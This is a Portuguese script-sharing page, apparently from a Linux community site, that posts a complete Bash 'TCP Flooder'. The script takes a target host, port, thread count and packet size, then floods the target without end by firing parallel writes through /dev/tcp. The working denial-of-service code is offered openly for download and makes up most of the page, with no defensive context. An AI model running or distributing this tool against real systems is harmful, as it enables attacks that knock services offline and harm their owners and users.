TCP Flooder

Publicado por Perfil removido (última atualização em 18/11/2013)

[ Hits: 5.400 ]

Download tcp-flood.bash




TCP flooder feito em Shell Script.

  



Esconder código-fonte

#!/bin/bash
# TCP Fl0OD3R 8y MMxM

error(){
    echo -e "\n\n[sorry dude] connection refused\n\n"
    exit;
}

help(){
name=$(basename $0)
cat <<_EXPLAIN

[+] TCP Fl0OD3R 8y MMxM
 |
 |
 *--> [ Options ]
 |
 |  (-x [target-destination]    )
 |  (-p [port-destination]      )
 |  (-t [threads]           )
 |  (-s [size-of-package {bytes}]   )
 |
 *--> [ Example ]

    $name -x 127.0.0.1 -p 3306 -t 20 -s 2096

_EXPLAIN
exit;
}

flood(){
    dest=$1
    port=$2
    pack=$3
    echo "$pack" > /dev/tcp/$dest/$port
}

[ "$1" ] || help;

while getopts x:p:s:t: OPT;
do
    case "$OPT" in
        "x") target="${OPTARG}";;
        "p") port="${OPTARG}";;
        "s") size="${OPTARG}";;
        "t") threads="${OPTARG}";;
        "?") help;;
    esac
done

[ $port ] || help;
[ $target ] || help;
[ $size ] || help;
[ $threads ] || help;

echo >/dev/tcp/$target/$port || error

pack=$(printf %"$size"s |tr " " "M")

echo -e "\n[+] Starting flood\n[*]Ctrl+c to stop !!!\n\n"
sleep 2

declare -A pids
nn=0
while [ 1 ]
do
    echo -ne "\r[$nn] Packets sent";
    for i in $(seq $threads)
    do
        flood $target $port $pack &
        pid=$!
        pids[$pid]=$i
        nn=$(($nn+1))
    done

    while [ -n "${pids[*]}" ]; do
        sleep 1
        for pid in "${!pids[@]}"; do
            if ! ps "$pid" >/dev/null; then
                unset pids[$pid]
            fi
        done

        if [ -z "${!pids[*]}" ]; then
            break
        fi
    done

done

Scripts recomendados

app-k-upgrade

Monitorar o funcionamento do FTP

Timer para desligar o PC

NÓtinha - Gerador de notas fiscais para empresas

Ler partição NTFS


  

Comentários

Nenhum comentário foi encontrado.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts